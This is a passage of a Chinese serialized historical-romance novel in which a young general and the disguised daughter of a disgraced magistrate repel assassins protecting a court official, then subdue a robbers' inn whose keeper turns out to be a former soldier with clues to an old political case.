这一变故,生生卡住了所有人,在众人回眸的瞬间,只瞧着穿着蓑衣戴着斗笠的男人,从天而降,几个抬手便已经斩杀了冲进帐子里的黑衣人。 柳侍郎松了口气,“保住了!保住了!” 然而,看着冲自己来的黑衣人,柳侍郎的一张脸瞬时煞白如纸。 他的帐子里存放着不少,搜来的证据,到时候回了金都,还得上呈帝王,是以他很清楚这些黑衣人扑来的目的,杀了他这个主事的,弄毁那些证据。 “拦住他们!”柳侍郎往后退。 护卫冲了上去,鲜血飞溅,一个接一个倒下,为首的黑衣人目光锐利,想来知晓无法救出那些囚犯,便铆足了劲,想要杀了柳侍郎,毁了那些罪证。 柳侍郎将账册死死护在怀中,生怕有任何的闪失…… 死也不能让这些人,拿到账册! 搜刮民脂民膏,官商勾结,祸害百姓,滥杀无辜,桩桩件件,他都必须让这些人付出代价! “保护柳大人!”霍青行下令。 安信旋即带着人折返,直接冲进雨里,在刀子劈向柳侍郎的那一刻,纵身而起,一脚踹开了那人的刀子,反手便是寒光乍现,刀锋直逼。 大概没料到半路杀出个安信,那人慌忙退后,这才让柳侍郎堪堪避开死劫。 柳侍郎抖如筛糠,站在原地发愣,怀中死死抱着账册…… 安信横刀身前,“保护柳大人!” 第二百五十九章 看见她就安心 别看安信他们,平日里嬉皮笑脸,一个个都跟二流子似的,没个正形,可都是战场上活着回来的杀神,平日里流里流气只是怕自己正经起来会吓着别人。 但眼下是面对行凶杀人的刺客,哪儿还有半点流里流气之感,一个个目露凶光,一个个下手无情,战场上不是你死就是我活,不可能给对方喘息的机会。 鲜血迸溅,黑衣人一个接一个的倒地。 看得出来,这一次他们占不着便宜,为首的黑衣当即窜起,“撤!” 可都到了这一步,怎么可能还有逃离的机会? “来都来了,不交个朋友再走,怕是说不过去。”霍青行冷剑直指,“给我拿下!” 一句拿下,众人就像是打了鸡血一般。 这可是军令! 军令如山。 柳侍郎都看得激愤难耐,“抓住他们,抓住他们!” 一个都别想跑! 到了这个时候,为首的黑衣人已经顾不得其他,谁都可以被抓,自己不可以,所以他不管不顾的提着刀剑往外冲。 然而安信他们也不是吃素的,你想冲出去便能冲出去吗?想得美。 众人一拥而上。 射人先射马,擒贼先擒王,皆齐扑黑衣首领而去。 此时此刻,黑衣人首领如困兽一般,被所有人包围在其中,眼见着自己带来的人全部被干掉,他已经没了任何的退路,一咬牙直冲安信而去。 安信本来就手痒难耐,正好可以杀个痛快。 不得不说这为首的黑衣人,还是有些本事的,在安信手底下稳稳的过了几招,但是下一刻,安信忽然目光陡戾,一刀下去直接削对方整条胳膊。 刹那间哀嚎声响,血淋淋的胳膊滚落在地,连同刀剑一起,全部跌落在雨水中。 安信横刀身前,冷声干笑,仿佛想起了什么,转头就冲着一旁的霍青行嘿嘿一笑,似是在邀功。 少将军,没给咱弟兄丢脸吧? 霍青行给了他一个赞赏的眼神,缓步走了过来。 一旁的柳侍郎,终于在侍从的提醒下回过神来。这才如释重负的松了口气,撑着伞缓缓的走进雨里,看了眼地上横七竖八的尸体,紧跟在霍青行身后,走到了那名黑衣人首领跟前。 “你们都是长乐门的人。”霍青行开口。 雨水叭嗒嗒嗒敲击着他身上的蓑衣,他居高临下的站在那里,冷眼睨着脚下之人。 这句话不算是疑问句,每个人心里都已经有底。 能出动这么多杀手,能熟悉他们的路径,甚至于抱着必死之心,下手狠戾宛若死士,不是长乐门的人又是谁呢?只不过没得到确切的答案,那猜测就只能是猜测。 “说,你们是不是长乐门的人?”柳侍郎声音里带着几分颤抖,但转头看向一旁的霍青行时,不由的又生出了几分底气。 该杀的杀,该死的死,现在就剩下……这个半残不死的黑衣人首领,还有什么可担心的? “他想服毒。”安信旋即上前,卸了那人的下巴。 这些不入流的手段,他们此前在边关早已看得够够的,瞧这黑衣人首领神色一变,当即反应过来,所幸安信动作快。 倒是把柳侍郎吓一跳,一下子变了脸色,“绝不能让他死,待押解回朝,得向皇上禀明。这等贼人不除,必定还有更多无辜的人枉送性命,死在这些人的手中。” 霍青行也觉得如此,才会留人一命。 还是送上金都让皇帝睁眼看看,到底有多少腌臜不堪的事存于天下间,若一叶障目,高居庙堂,说不定会……枉杀忠良。 “让随行的大夫给他瞧一瞧,处理伤口,我让安信跟着你们,以防他逃脱。”霍青行转头看向柳侍郎。 柳侍郎点点头,觉得如此安排甚好,当即冲着霍青行拱手,冲着众人拱手,“此番多谢诸位侠义相助,否则怕是要让奸人奸计得逞。” “举手之劳,不足挂齿。告辞。”霍青行转身就走。 这会儿,他心里惦记着陈识月,想着赶紧回去与她交代,免得她悬心不安。 瞧着他行色匆匆的样子,柳侍郎又想起了霍青行身边的少年郎,不由低头一笑,“年轻就是好啊!” 回过神来,柳侍郎旋既吩咐众人,把晕死过去的黑衣人首领,抬进了帐中,着随行的大夫帮忙照看,处置伤口,绝不能让此人死了。 这以后都是人证! 是长乐门与朝廷叫板的证据! 劫杀朝廷命官,劫囚,贩卖私盐……如此种种,都可认定为谋逆造反,一旦帝王下令,谋逆造反者当诛九族,必将长乐门连根拔起。 “大人您先回帐子吧,这里的事情交给卑职便是!”安信拱了拱手,瞧了一眼尚在昏死的黑衣人首领,“这厮伤得极重,又因为失血过多,一时半会儿绝对醒不了,醒了也跑不了,只管放心。” 柳侍郎连连点头,“有劳!” 朝廷死囚保住了,账册也保住了,顺道还捉了长乐门的人,柳侍郎觉得这一场雨下真好。 如霍青行所料,他回来的时候,陈识月正焦灼的站在帐子门口伸长脖子,往外看。忽然一个炸雷,惊得她下意识的缩了缩身子,但又踮起脚尖继续往前方探视。 “回来了,回来了!”林序忙撑着伞冲出去,把霍青行迎了进来。 霍青行解开了蓑衣,摘掉了斗笠,进了帐子里。 陈识月忙不迭拉着霍青行转了一圈,确定他身上没有伤口,这才彻底松懈下来。 “你莫要紧张,我没有受伤,好着呢!”霍青行急忙解释,唇角微微上扬。 意识到自己似乎太过紧张,陈识月别开脸,“谁紧张了?” 见此情形,林序合上帐门,悄然退出去,他得去看看安信那边的情况。 帐子里只剩下了霍青行和陈识月二人,气氛一时间有些尴尬。空气中隐隐弥漫着淡淡的血腥味儿,可想而知,当时战况激烈。 这血不是霍青行的,自然就是那些贼人所留。 可见,当时战况激烈又凶险。 “抓住了?”陈识月问。 霍青行点头,“你放心,一个都没跑了,不过活下来的只有一个活口,如今被妥善处置,一并送入金都。安信在那边盯着,决计跑不了。” 陈识月松了口气,“经此一役,最近这段时间应该不会再有长乐门的人,前来袭扰劫囚了吧?” 霍青行思量半晌,“这大概是他们能在附近集结的所有人,短期内没办法卷土重来。” “得加快脚程。”陈识月嘀咕。 霍青行听着外头的雨声,瞧着她眉心紧蹙的模样,有种安心的感觉。 第二百六十章 黑店啊? 翌日晨起,天光亮。 雨歇日出,彩虹挂天。 在天亮之前,陈识月小憩了片刻,再睁眼的时候已经在路上。 “前面路通了?”魏逢春掀开车窗帘子,看向在侧策马的霍青行。 今日天气好,昨夜经了那么多事,霍青行便策马前行,以便于观察周遭,听得车内有动静,当即上前弯腰,“路通了,柳大人他们已经过去了,咱这是落后一程,慢慢跟着。” 陈识月点点头。 “昨夜没休息好,现在你安心睡,等停下来休息的时候我再叫你。”霍青行抱着她上马车的时候,她哼哼唧唧了一会,可见睡得不踏实。 好在,安抚之下便沉沉睡去。 距离他们出发,也不过片刻,她必定没能睡饱。 “好!”陈识月不矫情。 刚放下车窗帘子,便听得外头又传来霍青行的声音,“桌案上有今早做好的粥点,你凑合着吃,吃完了再睡。” “好!”陈识月不多话。 食盒里摆着米粥和小菜,还有一小碟糕点。 是之前出发的时候准备的,但是今早热了热,所以这会虽然还有点微硬,捏在手里却是温热香甜的,入口不似最初,却足以暖心。 马车缓缓而行,霍青行骑着高头大马,瞧着远处的队伍,幽幽然吐出一口气。 此去金都,长路漫漫,谁也不知道他们将面对什么? 不能走一步算一步,得运筹帷幄,算计在前,踏步在后。 官道畅通,瞧着好似没什么问题。 但,多少双眼睛盯着,谁又能说得清楚呢? 如他们所言,经此一役之后,路上倒是太平了很多,柳侍郎日夜兼程,是真的一刻都不敢耽搁,马不停蹄的……恨不能插上翅膀。 再过两日,就该到了允周城,这是距离金都最近的州府,再过去就是金都地界。 允周城交通四通八达,龙蛇混杂,既是金都的屏障,也是老百姓的屏障,越过去就是富贵荣华的分界线,但很多人是没办法过去的。 金都虽繁华,达官贵人也多,但无权无势的进去……只能让腰弯得更低。 眼见着天色黑沉,柳侍郎等人则住进了驿站里,霍青行则带着陈识月住进了城外的一家客栈,毕竟没赶得上关城门的时候,只能住在外头。 等在明日城门开时再进去不迟,反正已经到了允周城,内里会有府衙接洽,不会出太大的问题。 客栈是在允周城外,附近一带没有村镇,就这么一座落于半山腰的客栈。 大堂内,人不少。 霍青行带着陈识月进去的时候,有人的目光悄悄挪过来,先是落在霍青行的身上,再是盯着陈识月上下打量。 陈识月看了霍青行一眼,两人默契的没有吱声,一切事物交给林序去处置。 伙计殷勤的上前,招呼众人上楼。 每个人的脸上都掩盖几分谨慎,习武之人对外界的危险,会有最敏锐的感触,比如说现在,每个人都觉得这大堂里的热闹,似乎有点说不上来的古怪。 “两位客官,这边请!”伙计推开二楼打头的那两间屋子,“两位客官……” “我们一间房。”霍青行开口。 陈识月一怔,原本想说点什么,但看见霍青行的眼神示意,便将话咽了回去,只是心里存疑,这都到了允周城外,眼见着要进金都边界了,还有什么可担心的? 总不能天子脚下,也有龌龊频发吧? 若是如此,这些匪盗未免也太大胆了些! 伙计显然愣了一下,然后笑盈盈的领着两人进屋,“两位先休息一下,我去给你们打热水。” “好!”霍青行没含糊。 待伙计走后,霍青行赶紧关上房门。 陈识月这才开口,“他们……” “嘘!”霍青行面色凝重。 陈识月瞬时禁声。 人还在外面? 陈识月不吱声,静静的注视着霍青行,两人四目相对,各自提着一口气。 想了想,陈识月站在了门边上,透过门缝可以闻到外头传来的异样气味。 嗯,汗臭味。 每个人的身上,都有独属于自身的气味。 眼下便是。 是那个伙计去而复返。 大概没听到内里的动静,伙计讪讪的离开。 须臾,陈识月面色铁青的抬头,“走了。” “这客栈不太对,但附近这一带只有这么一家客栈,此处是进城的必经之路,若我们离开,只能去山林里过夜,他们也未必会放过我们。”霍青行沉着脸,“与其如此,倒不如就安心住下,若是有什么异常,随机应变!” 陈识月颔首,“我同意。” 两人心照不宣,兀自坐下。 不瞬,伙计提着热水回来,身后跟着林序。 “公子放心,其他人都安置妥当了,就剩下三个客房,让他们挤一挤也就过了。”林序言简意赅,说这话的时候睨了一眼,已经竖起耳朵的伙计,“每个房间送一壶热水吧!” 伙计赶紧点头哈腰,“好嘞,客官。” 见人退下,林序又道,“我在大堂里转了一圈,有不少江湖人,随身都带着家伙事,今夜怕是要小心一些,我跟弟兄们已经打过招呼了,他们会轮班值守。” 霍青行点点头,如此甚好。 “用饭的时候,我会过去查看。”陈识月开口,“大家不要轻易入口。” 专业的事情,应该交给专业的人。 “好!”林序应声。 饭食都是客栈里的伙计端进屋的,到底能不能入口,还得陈识月来查看过后才行。 好在,饭食里都没问题。 水也没问题。 众人皆松了一口气。 没事最好,可安心吃喝。 “那今晚留意,别的没问题。”霍青行扫一眼众人。 吃过饭,林序照样去兜圈,霍青行则立在走廊位置,看了看坐在大堂内的人,目光在每个人的身上逡巡而过,其后心内有数。 霍青行自诩看人的眼神,甚少会出差错。 好半晌,霍青行转身回房。 因为不安全,所以没办法沐浴,陈识月便擦了擦身子,换了身衣裳。 “进来吧!”陈识月开口。 霍青行左右查看,确定没什么人,这才快速进门。 陈识月拢了拢衣襟,“你要不要擦擦身子?” “你帮我?”他问。 陈识月:“……” 愈发得寸进尺。 “好了,不与你玩笑,你赶紧休息。”霍青行看了一眼门口方向,“大堂里有人有狗,今晚大概是不太平了。” 陈识月心头一紧,“又是长乐门的人?” “也未必是。”霍青行道,“他们动了我们放在后院的东西,查看了我们的马匹。” 陈识月脑子一转,“黑店啊?” 第二百六十一章 惹上了阎王爷 黑店有黑店的处理方法,与长乐门的人不一样,他们不择手段的图钱,可能是偷盗,也可能是杀人,但总归是要吃到甜头才会罢休。 两人对视一眼,没有再多说什么,附近没有什么地方,能比住客栈更舒服的。 “你早点休息。”霍青行开口,“剩下的交给我。” 陈识月躺在了床榻上,霍青行则转身出了门,去林序的房间打了热水擦擦身子。 一路走来,实属不易。 霍青行说得最多的一句话就是:交给我! 他一直在践行对她的承诺,什么重活累活,危险的事情,他都会冲在她前面,从来不敢让她轻易涉险,将她保护得极好。 如幼时所言,永远都会保护她! 若是能卸下身上的国公府一案就好了,等到了那一日,她一定不会再犹豫不决,一定会大跨步,光明正大的走近他,扑进他怀里。 他呀,是顶顶好的男儿! 陈识月闭上眼,躺在床榻上安睡,现在快些睡觉,待真的出了事,也能精神抖擞的跟着他跑!! 霍青行回来的时候,刻意压低了脚步声,以免惊扰了屋子里的人,及至床边坐着,瞧着床榻上的陈识月安然入睡,心下稍松。 以前她就像是受惊的小鹿,时时刻刻保持着警惕,稍有风吹草地,就会跑得无影无踪,而现在只要他在身边,她就能安心入睡。 习惯这东西,果然是最可怕的…… 霍青行就靠坐在床边位置,今夜就这么凑合着吧! 前半夜还好,到了后半夜的时候,外头漆黑一片,伙计已经掐灭了不少灯盏,是以整个客栈内昏暗无比,瞧着无甚光亮,四下都透着一股子阴森寒凉。 林序忽然睁开眼,若有所思的竖起耳朵,紧接着便坐起身来,三步并作两步的行至房门口位置,握紧了手中刀剑。 好家伙,动起来了? 屋内的其他人,皆轻轻翻身,其后小心翼翼的跟在了林序的身后,各自拿好武器,随时应对着外面的状况。 脚步声由远及近,听得出来,分外小心。 下一刻,便是一根小竹棍捅破了窗户纸,然后便是白眼袅袅。 林序:“……” 众人:“……” 林序二话不说,捏住了小竹棍,大拇指一堵出口,白烟登时被那人呛了回去。 外头登时传来了重物闷声倒地的声音,伴随着一声惊诧的低呼,紧接着便是被拖下去的动静,这下子吃了暗亏,可真是要笑死人了。 林序隐忍着笑,示意众人别发出声音。 不知道少将军那边怎么样? “怎么回事?” “不知道啊,忽然就晕了。” “是这迷香吹错了方向?” “废话少说,先抬下去。” 一下子,外头就手忙脚乱起来。 “废物!真是废物!” “唉,还死沉的。” 一帮人骂骂咧咧的,听得霍青行皱起眉头,其后又小心翼翼的回头看了一眼,确定陈识月还在睡着,这才安然留在门口继续观望。 直到…… 一根小竹棍捅破了窗户纸,伸进来吹白烟。 霍青行的动作与林序一模一样,本来就是一个军营出来的,这会更是如此,捏住了小竹棍,白烟自管中反噬。 外头的人“咚”的一声倒地,紧接着又被抬下去。 一个如此,两个如是,自是惹人怀疑。 都这样了,屋内的人怕是已经有所察觉。 说时迟那时快,这些人再无任何的小动作,直接冲了进来。 房门被忽然踹开,紧接着便是刀剑碰撞之音响起。 霍青行身子一撇,明晃晃的刀子从面前划过,紧接着便是第二个人冲进来,直扑向霍青行。 林序没有任何的犹豫,一脚将冲进来的人踹飞,反手就扣住了另一人的手腕,直接将人摔飞出去,继而夺门而出。 “这里交给你们,我去看公子!” “放心!” 林序冲进来的时候,房间里的黑衣人已经被处理干净。 霍青行下手快准狠,不是断胳膊就是断腿,横竖陈识月不在意血淋淋的画面,她什么都见过,什么都不怕,那他还有什么可犹豫的? 林序愣了愣,白激动一场。 “一帮废物!”林序低斥。 掌柜和伙计带着护院,急急忙忙的跑来,“客官,客官,你们没事吧?” 瞧着匆忙的一行人,霍青行挑眉看了林序一眼,复而将目光落在陈识月的身上,只瞧着陈识月衣冠楚楚坐靠在床壁处,从始至终都没有多说什么。 她就坐在那里,看着霍青行动手,看着林序冲进来,看着掌柜和伙计赶来……宛若看戏。 掌柜忽然意识到,气氛好像不太对,目光扫过周遭众人的时候,脸色也有点难看,毕竟是心虚,也不知道能不能蒙混过关。 可是开这客栈也不是一日两日,怎么可能三言两语就被吓唬住? “客官没事就好,这帮人一定是附近山头的匪盗,前阵子就有衙门的人在搜寻,咱这就把人绑起来,扭送衙门去。”说着,掌柜冲伙计使了个眼色。 伙计当即让人上前,二话不说就绑了这些人。 黑衣人伤得不轻,一个个疼得哼哼唧唧的,可见霍青行下手之重,惊得一旁的掌柜都变了脸色,不由得目光狐疑,上下打量着霍青行,“敢为这位客官,你们真的是过路的行商?我怎么瞧着,你们像是江湖人士呢?” 下手这么狠,的确不像是寻常的客商,甚至于……寻常的江湖人也不似这般成群结队,瞧着就像是别有身份。 看着眼前这帮人,打一巴掌,给一颗甜枣的样子,霍青行面色黑沉,“林序,交给你!” “好嘞,公子!”林序做了个请的手势。 掌柜带着一帮人,将五花大绑的黑衣人扭送出房间,心中忐忑的看向林序,“客官,你们这是……” “不是说要扭送衙门吗?不劳费心,咱人多,可以自己来。”林序似笑非笑。 说话间,老二老三带着人从房间里出来,那些黑衣人就跟抹布似的,被丢在地上,一个个倒伏在地,除了哼哼唧唧,发不出其他声音。 掌柜:“……” 老二双手环胸。 老三插着腰。 老四满脸嫌弃,踹了一脚地上的黑衣人。 瞧着这一个个不好惹的模样,掌柜忽然有种惹错人的感觉,下意识的看向身边的伙计,难道真的撞上了大佛? “诸位诸位!”掌柜忙道,“是小店招待不周,出了这样的事情,怎么还敢劳烦诸位?今夜大家好好休息,剩下的事情交给咱便是!” 林序似笑非笑的看着他,老二老三老四慢悠悠围上来…… 掌柜:“……” 第二百六十二章 原来是自己人 掌柜看出来了,来者不善,善者不来,他想拒绝却被人团团围住,客栈里还有其他客人,若是真的闹起来,只怕是不好收场了。 “诸位,诸位!”掌柜拱手,“有话好好说,咱这也是头一遭遇见这样的事情,委实没什么经验,这件事……还是交给我来处置吧!” 林序可不吃这一套,“交给你人,然后放归山林吗?咱不是道上的人,不懂道上的规矩,但咱也清楚一些门道。” “什么道来道去的?咱就是开个客栈做生意,这位客官说的话,可真是有意思。”掌柜冲着伙计使了眼色,大概是想让底下人把黑衣人都带下去。 可林序都站在这里了,哪儿有这么便宜的事情。 “掌柜的,要不然咱借一步说话?” 林序挑眉,老二他们已经带着人,把绑好的黑衣人全部带回了屋子,那些悄悄开了门的客人,已经伸出头来。 出门在外,闲事莫管,遇事先藏。 这是保命的要诀! 现在外面平静下来了,自然是要去凑热闹的。 掌柜面色青白,额头的冷汗已经下来,这个时候若不赶紧处置,只怕以后这客栈是做不下去了,说不定还得招惹上灾祸。 “好好好!”掌柜冲着伙计使了个眼色,伙计赶紧跟上,帮着掌柜去安抚其他的客商,只说是夜里进了贼,如今贼人都已经被拿下,等明日天亮就会送去衙门,让诸位客人莫要担心,没什么大事。 等着掌柜转了一圈,挨个房间送了一碟点心,这才丧着脸回来。 事已至此,还能说什么? 关起门来,黑衣人都在另一间屋子,这样的情况已经不需要解释,大家都心知肚明。 陈识月跟着霍青行,坐在桌案旁,瞧着进门的掌柜,目光上下打量了一番,心里隐约有了底。 “掌柜的,这件事你最好还是说实话!”霍青行开口,“咱能收拾了他们,也能收拾你们。” 闻言,掌柜身形一僵,“你们是客商,可不是山匪,这般明目张胆是想打劫吗?这可是触犯王法,是要下大狱的。” “你是逃兵吧?”林序忽然将一包东西丢在了地上。 只听得噼里啪啦的一阵,惊得掌柜面色大变,“你们……” 里面是一套盔甲,看得出来年代久远,但是上面甚是干净,可见时常擦拭,不知道是缅怀,还是别有什么情愫。 陈识月仔细看去,瞧着里面还有马蹄铁,想来是策马逃离的。 “不管你是什么时候逃的,也不管到底是谁逃了,你或者是身边的人,有这些东西就能查你的来历,只要报上衙门,到时候……”林序扯了扯唇角,双手环胸,冷飕飕的打量着他,“你这客栈怕是开不下去了吧?” 掌柜一改方才的应和讨好,原本微弯的脊背,徐徐伸直,目光冷冽的看向屋子里的几人,“你们到底是什么人?” “想开个黑店,却是连打劫的是谁都不清楚,你不倒霉谁倒霉?”林序白了他一眼。 掌柜心知眼前人,身份不俗,但人在屋檐下,不得不低头,这些人的功夫在他之上,没把握的事情岂敢贸然为之。 “诸位,之前多有得罪,咱也只是图财不是图命,刀剑无眼但没有开封,便也不算是伤人。”掌柜长长吐出一口气,躬身拱手,“谋一口饭吃,实在也是没办法。” 陈识月可不这么认为,“若只是图一口饭吃,你这间客栈营生不错,不至于入不敷出,除非你要养很多人。” 关键是最后一句。 掌柜挑眉看过来,其后又将目光落在霍青行和林序身上。 屋内三个男子,两个一身汗臭味,唯有陈识月生得清秀,瞧着是个书生,说起话来也是轻声细语,但她一开口,另两人都会显得分外安静,似乎只等着她把话说完。 可见这书生郎,是具有一定主导地位的。 掌柜到底是见多识广,开着客栈也算是见了不少形形色色之人,当即心中了然。 这少年人不是女扮男装的当家夫人,就是这群人的主子。 “估计就是养这帮匪盗吧?”林序道。 霍青行低笑两声,“要不然,一个客栈总不能做出屯兵屯粮的谋逆造反之举吧?” 音落,掌柜面色微变。 一对三,他没有胜算。 一点都没有! “马蹄铁上有字。”陈识月蹲下来,随手翻动着包袱里的东西,忽然面色一紧,“裴?” 掌柜旋即出手,说时迟那时快,霍青行已经抱着陈识月退后,林序迎势而上,直接扣住了掌柜的手腕。 “我姓霍。” 霍青行三个字,止住了掌柜的挣扎。 眸子陡然睁大,掌柜愣在原地,“霍?麟州霍氏?” 气氛有一瞬冷凝,双方都在试探,是以一瞬间没有人再开口说话。 陈识月轻轻拍了拍霍青行,示意他把她放下。 既然都没事了,他还死搂着她在怀中作甚?别忘了,她现在一身男儿装束,不知道的还以为他这麟州霍氏的少将军,是个断袖之癖呢! 霍青行依依不舍的松开手,任由她整理衣裳,白了他一眼之后,走上前两步,“有些话不必多说,你只管点头或者是摇头。隔墙有耳,我们也不想招惹不必要的麻烦。” 如此,林序松手。 掌柜脸色苍白,看了看地上的东西,想起自己方才的应激之举,很多事情不言而喻,现听得陈识月如此言语,只得躬身揖礼。 如此,算是默认。 他信的是麟州霍氏。 霍老将军盛名在外,且当年出了那些事情之后,也是霍家在据理力争,虽然最后的结果还是未能改变,可当时那样的状况,敢站出来就已经是豁出了身家性命和九族。 掌柜极尽恭敬,“是在下眼拙,不知竟是霍家的人,多有得罪,万望海涵。” “把东西收起来,以后要藏好了,随意塞在床底下也不是个事。”霍青行开口,“埋了吧!等到重见天日的时候,再拿出来。” 若说此前,掌柜还心中忐忑,此刻止不住目光直愣,不敢置信的看向霍青行。 这话是什么意思? 重见天日? 林序上前,搀了掌柜一把,“我们不是敌人,算是不打不相识。” 掌柜直起身,“你们这是要去金都?” “你以前在军中是什么职务?”霍青行问。 掌柜如实回答,“副将。” 众人:“……” 官职不低。 “重伤之后被送到了农家,事发时侥幸逃过一劫。”掌柜解释,“过后我便偷偷逃回了家中,后来事态平息,我便在这里开了一间客栈。” 第二百六十三章 上柳居士是翰林院的? “那你这打家劫舍……”林序问,“真的养了一支队伍?” 掌柜不说话了。 “得!”林序挠挠额角,“当我没说。” 霍青行敛眸,“你们这样,不怕引起衙门的注意,到时候把你们一锅端了吗?” “怕什么,大不了换个地方,这些年咱小心翼翼的活着,可我活到这把年岁了,也没等到真相大白的一天。”掌柜忽然叹口气,好似一下子颓败下去,“真怕活不到真相大白的那一天了!” 霍青行与陈识月对视一眼,都没有说话,因为他们自己心里也没底。 “你们此去金都……”掌柜犹豫了一下。 想问,又不敢问。 国公府一案牵连甚众,因着帝王之怒,已经死了很多人,即便到了现在,也是人人谈之色变的存在。 “就是你想的那样。”霍青行示意他坐下来说话,“问个问题,能如实回答吗?” 陈识月秒懂,林序赶紧出门去把风。 “只管问,只要能还……还老主子一个清白,让我们这帮弟兄做什么都行。”掌柜拍着胸脯保证,“咱苟延残喘,本来也就是为了这一桩心事。” 霍青行低声问,“听过上柳居士这个人吗?” “上柳居士?”掌柜愣了愣。 陈识月忙道,“金都府府尹陈家,跟此人有过往来,你可知晓……” “金都府府尹?你是说当年的陈大人?”掌柜还是知道一些的。 听得陈识月大喜过望,这是记得什么吗? 知道内情? “你、你……”陈识月有些激动,但是被霍青行摁住。 查国公府一案,没什么大不了的,查而已,又不是真的牵连进去。但是如果让人知道,她是陈家遗孤,逃出来的朝廷钦犯,第一件事就是送她进大牢。 进去了,就是个死。 不是去教坊司,就是被充当军妓,下场会如何惨烈,自然不言而喻。 “陈家当年被牵连进国公府一案,据说陈大人的手里,捏着一些证据,后来陈家被查抄,所有的证据自然就消失了。”霍青行不温不火的开口,“只是近期,我查到了一个人。” 掌柜了悟,“就是你们方才说的,上柳居士?” “对!”霍青行点头,“所以你是否听说过?” 掌柜细细的想着,眉心都快皱成了“川”字,一时间没有说话。 陈识月有些焦灼,但霍青行轻轻拍着她的手背,示意她不要着急,这件事不能让她插手,免得到时候被人察觉到了身份。 意识到了自己的失态,陈识月努力压制住内心深处的激动。 很久很久,没有人记得她陈家了,也不敢提陈家,如今有种……从未被人遗忘的感觉,居然还有人记得她父亲。 “上柳居士我倒是没听说过,但是陈家的事儿,我还是略有耳闻的,当年也是老主子提拔,才让陈家这位从一个仵作慢慢的坐上了府尹的位置。一个仵作,辨香识凶,连破奇案,不可不谓之传奇人物,当年也是风光无两的存在。”老掌柜想起当年的事情,委实感慨。 不过是须臾的功夫,家破人亡,传奇不再! 陈识月静静的听着,面上无波无澜,心内波涛汹涌。 “老主子在世的时候,提起过与陈大人之间的事情,我记得有一次,还提过一个人,说是与陈大人乃是同窗好友,因着不公所以被丢到了翰林院充作编修,陈大人心有不忍,就求到了老主子这边。”掌柜只记得这么些许,其他便没有了。 陈识月有些失望,但霍青行却是颇为高兴。 翰林院编修? 同窗好友? 那就是说,同年科考? 不知道卷宗名录上,是否能查到蛛丝马迹? “当年陈大人为了此人,求过你家老主子……”霍青行小声嘀咕,“翰林院编修?你确定是编修?” 如果是编修的话,那就是入仕之人,要么举贤才,要么就是靠着真本事科考所得,又加上是陈大人的同窗…… 关于陈识月的父亲,霍青行比陈识月更清楚一些,她日常在后院与母亲生活,很多事情根本不清楚,看不见也听不见,是以她根本不清楚陈家的所有事。 也许是因为什么都不知道,所以她才能跑得毫无顾忌,很少在人前露面,才能逃过一劫。 金都的人,只知道陈家还有个妾室,但谁又会关心一个妾室的事情?只说是当初救过陈大人一名,所以才有了这妾室的位分,权当是养了一个救命恩人,横竖不在人前露脸,毫无影响。 “老主子是这么说的。”掌柜郑重其事,“我可以对天发誓,绝无半句虚言。” 霍青行忙道,“不必如此,我们自然是信你的,就是想更确认,此事非同小可,不能有任何的闪失,否则调查就会失去方向。” “我明白!”掌柜点头,“我可以用身家性命来发誓,现在所说的一切都是我所听到的,至于说的人是否认真,那我就不清楚了。” “同窗,编修,求到了国公府。”霍青行低声呢喃。 掌柜继续说,“当时老主子还是国公爷,还没被褫夺公爵之位。所以老主子一句话,那什么劳什子的编修,根本就不在话下。” “后来这编修呢?” 陈识月问,心里凉了半截,她隐约觉得这线索可能就到此为止了。 事实证明,女人的第六感是很准确的。 “不清楚。”掌柜摇摇头,“我当时也就听了这么一耳朵,后来这编修去哪了,还真是一无所知。后来也没见老主子提起过,咱也就没当回事。要不是今日你们追问起陈大人的事情,我早就将此事抛到九霄云外去了。” 陈识月脸上的失望是显而易见的,霍青行倒是没那么悲观,“至少说明,这的确是一条线索,不是敌人就是朋友,只要还活着,身上一定会有秘密。” “你们的意思是,当年国公府一案跟陈大人有关?可陈大人不也被抄家了吗?”掌柜不明白,“难道说……” 霍青行赶紧打断他的无边幻想,“跟陈家没关系,陈家是无辜受累,我们只是觉得当年的事情未免太蹊跷,所有痕迹都在事后被抹去,必定是有大人物在操作。既是如此,必定不能从国公府正面入手,得学会迂回前行。” “哦,所以你们打算从陈家入手,再通过陈家去查老主子的事情?”掌柜了悟。 霍青行顿了顿,又问,“知道长乐门?知道金都的销金窝吗?” “你们这是?”掌柜面露难色,“跟长乐门有关?” 霍青行点头。 掌柜沉默…… 第二百六十四章 回春堂 看着眼前两人略显沉默的样子,掌柜的一颗心七上八下,脸色极为难看,“长乐门?这帮王八犊子,难道也参与其中?可长乐门不是江湖门派吗?江湖人敢插手朝廷之事?” “你要知道,江湖门派有时候也可以是朝廷的刀子,某些人的走狗。权势之下,人人都可以是刀俎,也可以是鱼肉。”霍青行意味深长的开口。 掌柜沉默了。 大实话。 “我们要去销金窝。”霍青行言简意赅。 掌柜抬眸看向二人,“就你们两个去,怕是也不成。就算有了令牌,知道方位,但是没有熟人带路,两个陌生人是不可能进去的,甚至于你们还可能死在义庄。” 眉睫陡然扬起,陈识月不敢置信的看向他,“什么?” 商城可不是这么说的。 霍青行明白了,“那老小子还留了一手。” “该死的东西,早知道就让商武死在他面前!”陈识月有些气恼。 这帮老狐狸,兜着圈的害人,实在是可恶可恼! 霍青行和陈识月对视一眼,其后看向掌柜。 “交给我。”掌柜了悟。 三人达成了无言的默契。 等着掌柜从房间里出来,外头的天都亮了。 林序松了口气,瞧着掌柜离去的方向,悠悠然叹口气。 缘分啊! 这不打不相识的缘分,还真是令人诧异呢! 屋内,只剩下霍青行和陈识月。 “还好我们慢了一步,这要是去了金都、进了义庄,估摸着得倒霉。”陈识月兀自感慨,“还好还好。” 祖宗保佑。 “你莫要着急,不管遇见谁,都不要曝露身份,陈家的事情比之国公府的确轻一些,但你的身份仍是忌讳,怕就怕万一真的遇见事,对方会先把你供出去。”霍青行到底是小心谨慎的,“你会变成别人手心里的筹码。” 陈识月点头,“我记下了。” “时辰还早,你歇一会,我去处理余下的事情。”霍青行抬步出门。 陈识月静静的坐在屋子里,思绪略有些飘远,想起了自己当年,想起了母亲和鲜少见到的面的父亲……说句实话,她对自己父亲其实没多少感情,但是骨肉至亲是改变不了的羁绊。 “就当是为了自己,为了母亲吧!”陈识月小声嘟囔。 卸下这黑锅,她就可以光明正大的站在阳光底下,不让身边的人被牵连,以后去外祖家也不必鬼鬼祟祟,不担心被人看见。 昨晚闹了这么一出,今日的客栈显得很是安静。 老二已经率先带着人进城了,答应了柳侍郎的事情,总归是要兑现的,一直护送柳侍郎他们进金都城方可罢休。 